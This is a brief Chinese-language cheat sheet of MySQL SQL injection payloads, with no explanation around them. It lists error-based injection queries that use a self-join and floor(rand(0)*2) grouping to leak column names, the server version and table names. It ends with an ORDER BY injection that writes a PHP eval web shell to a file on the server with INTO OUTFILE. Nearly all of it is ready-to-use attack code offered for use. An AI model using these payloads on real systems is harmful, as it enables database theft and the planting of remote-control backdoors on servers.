报错注入，报user表中的字段:
select * from (select * from user a join user b) c;
select * from (select * from user a join user b using (host,user)) c;

报错注入
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
select 1 from (select count(*),concat((select table_name from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a;

order by注入导一句话
select '<?php eval($_POST[ln]);?>' from user order by if((select 'abc' into outfile '/tmp/2.php'),1,1) limit 1,1;